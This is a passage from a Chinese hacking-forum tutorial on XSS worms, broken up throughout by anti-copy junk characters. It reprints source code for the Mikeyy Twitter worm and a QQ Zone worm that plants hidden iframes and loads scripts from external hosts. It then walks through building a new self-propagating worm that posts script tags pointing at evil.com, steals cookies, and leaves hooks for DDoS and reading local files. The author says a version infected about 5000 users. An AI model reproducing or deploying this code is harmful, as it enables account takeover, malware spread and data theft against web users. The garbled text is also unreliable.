; i# C. W" o* M* G' R& O; O$ S, x
8 C* s+ X1 f( v. u5 E) g</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

# |7 V: m) Q! N5 Avar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
* p8 p% j2 B3 c# {4 M7 X$ W7 @" P
' n4 b6 d$ f, u% K9 `

  l) Z1 W/ b, T! U. XXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
1 ?+ t" m4 {9 r0 S* z
XmlHttp.send(null);

' V) \% a& ?% {& g<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
. I2 k5 e! G& T* N7 W复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)
# V: t' Y$ z8 R: f6 L/ G
6 天前 08:27
$ l; T3 N5 T5 I1 X; G' p- P
; L7 Q  V( S; S- Z; t+ W. e0 l第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

   3. function XHConn(){  
4 J( G! v$ R& c3 h
5 B, A" m( O' d! {0 d' |; k   4.   var _0x6687x2,_0x6687x3=false;  
. X* l! C  j6 }* p2 A
/ r6 H* d8 A6 g+ y) g! Q' y   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
  r8 ]1 o% P  \' H, P6 i
* z/ d2 j: V3 R4 h   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

" b9 u$ F4 j* @% W/ n# t( E0 r   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
- T: w3 y4 r: z4 s1 s" I; k
6 o3 X0 \3 m% y4 D   2.   var content = document.documentElement.innerHTML;  
: T9 L) @8 e1 A! q( k4 ]. `1 o" C
" g6 p# S6 ^3 b: C  @7 Q   3.   var tmp_cookie=document.cookie;  
3 e- p& a' f% M
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
  t& t# ~: T  _) z% r( D2 q
2 }1 T+ {9 H! J   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
& [; V, @7 C( n& D) x" e# ^
   6.   var authtoken=authreg.exec(content);  

) `! g4 O7 ?  P2 ]2 m" y% S   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

$ b8 \' a2 z6 v0 ?  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
  m) S- i! a! v  ^. h' r) u; R
# D6 Y2 y; f% Y) B  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
/ Z# v- |, q) @. `$ ]2 ~
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
( g! }+ u* O, X
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
, D5 r" l1 @" [" _
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
- E/ b$ s6 V8 t( g( Y
  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

4 }: k" f2 J$ P$ U( ~: N7 i  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
5 C! g' R# T. X* I! W
. G' }# i. J$ o9 P6 M( P  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

9 ^( l' W! X1 p" e1 `, J8 S  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
5 \# j2 b4 E: O
* x2 w% M9 p! @4 N4 r# s9 l! j  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
6 B9 K/ X: }* ?$ b7 ^
  }# i" u  @! k* ^- O: F3 x  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

8 q4 B8 Z& V- u( r' `$ p5 I- G! W  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
6 K7 Z+ Y9 b* q) V; t: v0 A
  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
" r' j2 o2 f: y( ~, ?5 ~
( y  o( e! X$ H  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
4 X( S; K$ [6 J5 f: Y
/ s4 a( r$ s- \6 \' W4 \+ w+ {  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

: Y+ W. x7 x, a. S  27.     
6 V& P7 _1 V  P# Q# M( K. D" ?
& `% ]. ~: T% r  C) T  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
# W+ `9 Y' P! ?
3 v7 O; \/ G5 c4 v6 g6 q! _0 w1 q5 X  30.   var _0xf81bx1c="Mikeyy";  
0 a+ b5 p* ?6 h/ l% p+ U1 o- F
  31.   var updateEncode=urlencode(_0xf81bx1c);  
6 f" H9 X& t" g# Y+ {
  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

9 k7 w7 s; x% q- w# d8 n7 O  35.   var XSS=urlencode(genXSS);  
; a# Q( {% H3 h. ?8 I
3 F* A* C/ N1 {9 F7 n" `+ {  36.   var ajaxConn2= new XHConn();  
) p! S" R3 r4 ]2 C+ q0 z* O
1 p$ I+ z9 X' g9 c' L# H/ t; `; e, b  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

  38.     

, q9 E( B; @0 f6 h8 G2 R  39. } ;  
+ h, T* F' a0 |- u. O4 ~. e
4 d3 e) G7 C; w! R5 K- U  40. setTimeout(wait(),5250);  
  e7 Z. h& Z1 L7 W; U- R7 k0 a复制代码QQ空间XSSfunction killErrors() {return true;}
& N( P% U# }0 n' K6 S9 H6 L8 V
window.onerror=killErrors;
9 s( j( e; V8 F  M/ k0 `: h


- W4 }" V5 W- P2 h. _3 \var shendu;shendu=4;
& J. P' l) P0 V; T1 n' r! i
//---------------global---v------------------------------------------

" g. R( G) l/ O$ D- A6 D//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
2 r! C4 r; ~1 n2 @
+ l, K/ l' H. C$ Yvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
% D8 G+ j9 V7 C7 e. B& D1 K
var myblogurl=new Array();var myblogid=new Array();
: V# N' L/ x$ W6 c
        var gurl=document.location.href;

        var gurle=gurl.indexOf("com/");

- _' G6 l' O6 p# O1 l6 o' D3 N        gurl=gurl.substring(0,gurle+3);        
0 z2 z' |2 l1 U& u8 R9 x- T
        var visitorID=top.document.documentElement.outerHTML;
) A3 O0 i# x' G9 B
           var cookieS=visitorID.indexOf("g_iLoginUin = ");

: J' R' g6 m+ y/ _! T( j4 G' M& y        visitorID=visitorID.substring(cookieS+14);
9 G, h9 v! z1 R1 l& O: \
        cookieS=visitorID.indexOf(",");
" ?0 @, P9 w" M' C6 \
        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

        DOshuamy();
7 [) i: |) J5 p; R! O' W& V' D7 i


7 T' x5 b- {+ S" x//挂马

4 Y+ P4 F, f; d1 J* E- t" t% cfunction DOshuamy(){

var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
7 c5 Q8 [( {; z1 o) [
& M& T9 M4 P6 t+ B5 k}


7 [" ?4 U5 F5 L6 x; ~
+ s! t4 T2 F. Y7 n0 D; f//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){
3 d5 @  D. I" j5 y5 S+ X3 n
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
5 X+ o& p8 g6 _" P5 K! s9 D
- J3 [2 ~# C' L; M8 V: U   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
0 S! c/ F% [6 G0 ~
5 e9 t' `" t6 X+ j7 I   if(xhr){    //成功就执行下面的

# C: V/ }& k, p7 T     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

5 }- A# g4 ^- Y! x     xhr.send();guest=xhr.responseText;
! S5 c1 C% B8 @0 H) r  @/ C9 P
4 c" S0 M. p) |- j, o2 L# k     get_my_blogurl(guest);    //执行这个函数

    }

8 d5 W2 m( T3 G& S) w}
2 a! D1 W' Z( k6 T, k
* H' X  m6 J5 h7 t) R/ H; I

//这里似乎是判断没有登录的

# D6 {' a5 q& j9 |function get_my_blogurl(guest){

2 j& {* X" l- G0 l7 k6 @1 x7 A  var mybloglist=guest;
! H) j0 U/ y" J$ F0 k6 [
6 ]* n8 x% z  O9 P, j1 }6 W/ o: K  var myurls;var blogids;var blogide;
! N- w( v6 d- p9 h  e' {
  for(i=0;i<shendu;i++){

# i1 ?8 X8 R2 ?7 z- {     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
% F9 d7 a) k, o: e* q, G3 f0 o' R
, b" R7 A( p, {$ f7 A3 v) }4 Q     if(myurls!=-1){    //找到了就执行下面的

, Z; H/ u; ~% c' P         mybloglist=mybloglist.substring(myurls+11);
% ^4 f0 W3 G( @% F+ P/ ]3 c- n
5 i* v& |% F4 R. d         myurls=mybloglist.indexOf(')');

8 O; d5 K3 F' S! P         myblogid=mybloglist.substring(0,myurls);
: K( g4 `3 v3 |+ _
1 e# v5 i5 Q$ ^, C6 H3 I$ {        }else{break;}
0 l2 P' h/ Y4 N* {7 j+ H
; k4 Y' }) x; R# _5 |- m2 |}

get_my_testself();    //执行这个函数

}
  z" m8 g3 S( t; R9 e. K
- G% I' @$ u; ]) V& E6 t0 k% p
! ^% q' v# q, [' `  L  l
7 E+ M, i8 V% ]3 R5 Q. |8 `5 |//这里往哪跳就不知道了

+ O$ Y( c9 B% c' Ffunction get_my_testself(){
* e8 f8 K5 l1 ^/ {' ]
* H( k& h! q+ i, X; {  for(i=0;i<myblogid.length;i++){    //获得blogid的值
2 A& A) D4 A' v1 g4 l9 D
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
8 X9 W& ~* ]8 w0 A, ^$ w
      if(xhr2){        //如果成功

              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();

              guest2=xhr2.responseText;
* o0 h3 T9 d$ m8 o
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
, r4 j0 t( g+ U9 w4 A
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

, Z" G! d( d, `# {6 R! Z9 f              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

                targetblogurlid=myblogid;   
2 E1 U, g; B1 U6 A! A: V
                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

1 ^% ~; o; @# v& F' b# f                break;

9 w( i  `% E4 j- F               }
0 x( {5 b9 ~' e
              if(mycheckit=="-1"){
( |( E  _4 @! _
                targetblogurlid=myblogid;
1 d" v: U: I; U& L5 L& p
. h8 G% {1 ^. y; Q8 I                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;
8 o( S. {. f" v$ _' U" r9 u! o
               }
5 S. a  f) C: v: O
        }      

+ y! H  j6 [7 @3 E+ \* D}

}
& l1 M: W* o: [, e7 w& G$ g
4 s. ?6 B  C5 v/ C$ j

, j5 X: ]/ {- F! d+ G//--------------------------------------  
' E6 t5 o8 C' [: n
1 |8 R6 c! h8 C$ b+ e' c//根据浏览器创建一个XMLHttpRequest对象

1 c6 ]: \. B, Q7 ~  ufunction createXMLHttpRequest(){
, S& z+ y1 r/ g4 i* I
    var XMLhttpObject=null;  
7 g: k/ R7 T, j" U' c7 S
) P- @8 b: Y* W  ~# C. m    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  

! M1 k8 b& ~" G) {# c" X    else  
( p# U, E% p2 _8 c
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  
$ r* o/ G, q6 D6 ?
" ^! O, z  Y7 @* e        {  
7 ^( m* U% _' G* |* }
  m0 J6 ~0 h( q8 B" ~/ A8 p            try  

- A0 N! C# t# f$ C            {  

6 C* v: T3 g5 v) h+ n8 h% i" u) a                XMLhttpObject=new ActiveXObject(MSXML);  
* l5 W0 l; n3 F+ S" G2 T
3 Q+ H1 {5 f+ j3 a$ W                break;  
+ @* a1 U' Y5 [' i/ Z' W' h7 w
            }  

            catch (ex) {  
8 F" S. s" J3 A4 }
            }  
* {" C. }8 q; |0 ]
         }  

      }
; T- |" d8 d& D9 ?8 U
return XMLhttpObject;
/ L& j0 S) P9 h2 Q4 X/ M* M
}  



; i7 \! B( L- k//这里就是感染部分了
( ]; s( x, s' u1 ~& U8 S
( \6 h# z* V9 A8 a5 x& \3 Mfunction add_js(visitorID,targetblogurlid,gurl){

- N0 a$ Q6 U: |/ X0 m" k; ^var s2=document.createElement('script');
/ _3 l- L4 _2 A$ `
( X. K  f) `# e0 y$ |s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

6 p( M7 @( i+ B+ Q$ qs2.type='text/javascript';
* |: I) V* n: Y, Z0 X
7 i% _" ~0 L8 ^, q0 ndocument.getElementsByTagName('head').item(0).appendChild(s2);
. Y+ s1 Q, {* F% w
& i$ @  S9 n0 d7 a* ~}

) z! q4 Q' Y# e# B. \
/ o% b+ V$ C/ l
: [5 k) K( {% V2 [function add_jsdel(visitorID,targetblogurlid,gurl){

& j4 u" {3 J% a+ ~( A) D" }var s2=document.createElement('script');

* ^9 D! Q$ L- w/ Gs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
. W4 |: c4 X7 d! S
document.getElementsByTagName('head').item(0).appendChild(s2);
# [8 Q& ]! s" X, J/ n+ B4 s
) O; u: Z& v3 a}
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
9 }' \$ S3 G4 m( X! a$ k1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
- v' q4 J, u) ?0 O' w
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

( j1 Z4 Z" T" t7 ^! |3 M, |
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;
3 S3 K8 K  @5 D4 A% O) j9 v8 g
if(window.XMLHttpRequest) {
2 H. N- j. e9 m3 V
( _3 s% q* h/ C* n, i9 Z& Nrequest = new XMLHttpRequest();

if(request.overrideMimeType) {

, L' M4 @6 E9 V) srequest.overrideMimeType('text/xml');
) z$ P6 o8 `7 e: J3 S! w
}
8 s* e9 u3 s/ R* _* d
} else if(window.ActiveXObject) {
. m# P; G% F. N1 M
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
8 L9 z& M( a: C
+ ^+ N: S/ Q) r/ q1 O' E+ vfor(var i=0; i<versions.length; i++) {
' d; x$ P& w1 b0 n
, Z% n3 ?" e: D# p+ {- F% ]+ N) ytry {

request = new ActiveXObject(versions);
' U# W. r4 W9 d, O* J
2 n9 N2 p6 D$ h6 X) i9 l} catch(e) {}
2 F1 Q% @* P0 E* g: `" U  d
1 j6 }5 j6 u$ B% f; k}

1 ~- F  t% T+ V. X8 y3 x! l}

* a! }8 @2 M4 e9 axmlHttpReq=request;
6 J: j" w- @1 G* p+ E2 t) Y2 a1 g复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

4 \9 ^( C$ a7 ]7 ]( H! \        var Browser_Version=parseFloat(navigator.appVersion);
. Y0 h7 U9 G0 T5 J% A7 e
        var Browser_Agent=navigator.userAgent;

* S1 }. _6 @# O5 Z0 y& ^        

7 t6 ^- ~' G" c# g        var Actual_Version,Actual_Name;
& Z- C' C. a# B+ U9 S
9 u9 ?$ |7 O8 k8 s) c8 H0 s( U        

. `7 d: \8 W+ X4 H        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");

& i: T/ F7 m# p0 N        var is_Ch=(Browser_Name=="Chrome");

& k) }1 o6 D9 z3 p! O) T: u        

5 v/ L$ H* m. ?* R- V6 k0 ~- _        if(is_NN){

            if(Browser_Version>=5.0){

                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
0 d$ a& Y; h8 M9 A4 s/ v
8 }' u- {- w8 g" t/ B8 G0 ?$ I                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);



2 L2 E1 Z* J* z0 X* x6 P                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
4 b" |0 c8 w9 a+ M8 [- G
                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: c% W  e4 @% c/ b
& M) s$ u2 U( K- ~$ q1 R            }
( A+ u: h0 P8 }$ W
            else{
0 M5 l! Z5 H) o: j7 B+ |! l  K
; m! J& ^  W) U6 h# e+ h0 Z* a                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;

* `8 q( T* L2 h- D% o            }
$ g, I: w& }2 n9 D9 \8 v+ \1 H7 S
# h. c: `. o" ]/ \9 k, Z+ I# G% H        }

        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

9 _) t: h$ e3 B0 M7 Q! h* s            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
1 ]; L0 H: L; m& z2 N
7 V" W! A' ~' {; t* o            Actual_Name=Browser_Name;

            
- |; p' x$ v' ]; V. A
9 i+ p# b6 g* L# I            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
" {, W4 G4 I) ?
( k2 e7 i8 l2 [0 [7 l8 [            }
- R! z# G* t2 p' \0 [: S4 W
0 Z* c7 ^" T! w            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
  g, H/ V: m) g
- e: E, s4 J# F4 v. T4 B; |$ W                var tempstart=Browser_Agent.indexOf("Opera");

- h8 B( M- @) G+ g5 D                var tempend=Browser_Agent.length;
5 l6 h# O; U6 c) z
# A# J0 l6 w# x" A+ W0 Q                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

1 D# c4 K, w8 J4 f9 f$ i! A$ Y. [5 N        }

        else if(is_Ch){
! D7 f- A! _9 z) u
! P2 Q9 s" _. ?4 |% Q% \  F            var Version_Start=Browser_Agent.indexOf("Chrome");
& f5 X& }# l% p9 B' R( I- {" `
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

( F" J# }2 n5 |4 F# r* x            

1 o3 ~3 B# r9 v5 q            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

6 g+ d1 I3 g( S- t$ U; `" e4 v            }
8 o; O7 C& H8 @# J/ o0 t
, S+ B4 M% P% t6 R8 G            else if(Browser_Agent.indexOf("Opera")!=-1){
; Q8 U2 l0 E  ]/ {+ s. v
                Actual_Name="Opera";
+ c0 p9 M0 ]- A$ [: B' f- u
                var tempstart=Browser_Agent.indexOf("Opera");
4 V( N4 M% W* ?, A6 K, J
                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
5 N  l2 [' t' l4 C
3 g* S8 }) r* E            }
( U. l1 j1 ?& J
5 Q$ Q$ r0 s* a( ^3 u2 f# D2 P& V- z        }

        else{

& ]3 {6 i2 k7 b# m- }7 }! u            Actual_Name="Unknown Navigator"

            Actual_Version="Unknown Version"

" N" n0 H1 T) d        }
3 @+ e+ i1 h  }8 g6 T8 S

+ `  x( ], {5 u$ w" h7 W
        navigator.Actual_Name=Actual_Name;
8 O: C# h3 G7 s% Q
        navigator.Actual_Version=Actual_Version;

        
" F7 u: l1 R5 J, F+ R
        this.Name=Actual_Name;
  B0 K+ F  z: C/ j, Q
$ P% t% P& U' K3 C3 t7 J        this.Version=Actual_Version;
3 G, W- [* j: L& {+ w
6 E8 I+ j/ ]# P$ o- d3 r    }

    browserinfo();

; @; ?0 ^' c6 c! _3 K    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
" P" T) D! D- G' U
' x% X( a1 G  e- l/ d) u    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
/ j( f9 g* Q" A
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
6 W3 u$ X5 x" v6 s" ^
5 N1 `+ h0 v+ {1 M" A6 @    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
" z7 V6 X; Y- L  T复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);
# U: d( D& m' c2 f! z, H
3 E$ H9 w9 h( Y/ ~. G4 ?var resource = xmlHttpReq.responseText;
# d  u5 P+ t# o$ C0 ?1 f
& t& S# u" S" P0 ]4 ]7 H1 g9 ^var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
: {/ ], Y8 x8 F) r
. @* [8 F  z' l4 w2 y# S6 [& F: ?id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
# A7 [. i8 `6 O$ V( T7 f
; Z9 M* D) k) c, Bvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
/ L. s) I$ D! J; s2 p4 Q, h) x
( f  W8 E+ e% D2 W1 i$ zvar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

5 `2 A. O  N1 U& q$ xxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
: b8 ^/ V9 d2 b% O" T" e( I+ @( L
xmlHttpReq.send(post);

6 t, b5 L  D2 R8 q* a4 k6 X}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
/ t; ?2 k. Y4 ~6 i+ Z% X
4 ?8 Z* w' Q- e5 F4 _# gvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
( j, N8 S8 `/ {  J' A
var post="wd="+wd;

xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
  |- W& v8 y( B/ ~$ d9 u5 k
2 r/ F7 n  \: e6 v' DxmlHttpReq.setRequestHeader("content-length",post.length);
1 X% I, \, e1 p; N- A
1 l2 c( Q" h% k* [  j) A1 FxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

+ b0 j! U) N3 p0 W, q! @xmlHttpReq.send(post);                 //把传播的信息 POST出去.
" K6 e! k! q! S( N  U! r! \8 {
+ W' n$ j( o0 F3 C}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------



本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
% G. d) ]6 {" X/ G操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.



1 [4 x# |4 h8 y- s5 _" J: c

2 r& g% P/ ?) A/ ?" r/ N" Q' K
3 r9 w, `3 w" M5 w; `. h4 [
) h! ?! ^3 [1 @$ L9 m
本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
0 P4 R' t+ C( I+ E7 g/ G"Cross Site Tracing" (Jeremiah Grossman, January 2003)
( R# ^! Y4 \- r; g4 D; \http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
- U8 I% R/ |8 v0 g/ [- z% B7 GXeye Team http://xeye.us/